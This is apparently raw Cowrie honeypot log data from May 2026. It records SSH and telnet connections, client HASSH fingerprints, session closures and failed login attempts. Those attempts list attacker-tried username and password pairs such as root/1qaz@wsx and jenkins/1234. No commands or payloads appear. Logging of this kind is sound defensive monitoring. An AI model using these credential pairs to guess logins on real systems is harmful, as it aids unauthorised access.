{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:27.949677Z","src_ip":"45.156.87.204","session":"ba4f4aa25224","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:27.999240Z","src_ip":"94.26.106.229","session":"318459724bff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:28.035412Z","src_ip":"45.156.87.204","session":"ba4f4aa25224","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lesso161209","message":"login attempt [root/lesso161209] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:28.049643Z","src_ip":"193.228.128.84","session":"9773831eb8a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:28.289464Z","src_ip":"45.156.87.204","session":"ba4f4aa25224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:29.090055Z","src_ip":"94.26.106.229","session":"318459724bff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:29.155193Z","src_ip":"193.228.128.84","session":"9773831eb8a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:29.452061Z","src_ip":"45.156.87.204","session":"ba4f4aa25224","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":38126,"dst_ip":"159.203.135.109","dst_port":22,"session":"c70852a229c7","protocol":"ssh","message":"New connection: 94.26.106.229:38126 (159.203.135.109:22) [session: c70852a229c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:29.829272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:29.834597Z","src_ip":"94.26.106.229","session":"c70852a229c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:30.002380Z","src_ip":"94.26.106.229","session":"c70852a229c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50504,"dst_ip":"10.17.0.5","dst_port":23,"session":"98508701243d","protocol":"telnet","message":"New connection: 152.42.224.71:50504 (10.17.0.5:23) [session: 98508701243d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:30.217716Z"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123","message":"login attempt [dev/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:30.769829Z","src_ip":"94.26.106.229","session":"c70852a229c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34394,"dst_ip":"159.203.135.109","dst_port":22,"session":"12a515837961","protocol":"ssh","message":"New connection: 45.156.87.204:34394 (159.203.135.109:22) [session: 12a515837961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:31.382120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:31.387871Z","src_ip":"45.156.87.204","session":"12a515837961","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:31.555040Z","src_ip":"45.156.87.204","session":"12a515837961","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:31.859625Z","src_ip":"94.26.106.229","session":"c70852a229c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.999547481536865,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:31.898778Z","src_ip":"152.42.224.71","session":"28f7425fb37c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:32.019106Z","src_ip":"45.156.87.204","session":"12a515837961","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":38136,"dst_ip":"159.203.135.109","dst_port":22,"session":"fecef6a34a36","protocol":"ssh","message":"New connection: 94.26.106.229:38136 (159.203.135.109:22) [session: fecef6a34a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:32.420913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:32.425663Z","src_ip":"94.26.106.229","session":"fecef6a34a36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:32.508856Z","src_ip":"94.26.106.229","session":"fecef6a34a36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"1234","message":"login attempt [jenkins/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:32.763056Z","src_ip":"94.26.106.229","session":"fecef6a34a36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:33.104230Z","src_ip":"45.156.87.204","session":"12a515837961","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:33.851769Z","src_ip":"94.26.106.229","session":"fecef6a34a36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":59302,"dst_ip":"159.203.135.109","dst_port":22,"session":"05978a6c1469","protocol":"ssh","message":"New connection: 45.156.87.204:59302 (159.203.135.109:22) [session: 05978a6c1469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:35.343029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:35.347788Z","src_ip":"45.156.87.204","session":"05978a6c1469","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:35.430661Z","src_ip":"45.156.87.204","session":"05978a6c1469","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:35.798156Z","src_ip":"45.156.87.204","session":"05978a6c1469","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:37.016087Z","src_ip":"45.156.87.204","session":"05978a6c1469","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":59312,"dst_ip":"159.203.135.109","dst_port":22,"session":"92bc47fd2115","protocol":"ssh","message":"New connection: 45.156.87.204:59312 (159.203.135.109:22) [session: 92bc47fd2115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:38.866586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:38.871107Z","src_ip":"45.156.87.204","session":"92bc47fd2115","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:38.955238Z","src_ip":"45.156.87.204","session":"92bc47fd2115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:39.204933Z","src_ip":"45.156.87.204","session":"92bc47fd2115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:40.290121Z","src_ip":"45.156.87.204","session":"92bc47fd2115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":56570,"dst_ip":"10.17.0.5","dst_port":22,"session":"bee60504baf5","protocol":"ssh","message":"New connection: 62.133.63.178:56570 (10.17.0.5:22) [session: bee60504baf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:40.984100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:40.988797Z","src_ip":"62.133.63.178","session":"bee60504baf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:41.114156Z","src_ip":"62.133.63.178","session":"bee60504baf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.136.174","src_port":37754,"dst_ip":"10.17.0.5","dst_port":22,"session":"dacd4654fd72","protocol":"ssh","message":"New connection: 176.65.136.174:37754 (10.17.0.5:22) [session: dacd4654fd72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:41.224191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:41.228783Z","src_ip":"176.65.136.174","session":"dacd4654fd72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:41.322004Z","src_ip":"176.65.136.174","session":"dacd4654fd72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm,./","message":"login attempt [root/zxcvbnm,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:41.490873Z","src_ip":"62.133.63.178","session":"bee60504baf5","protocol":"ssh"}
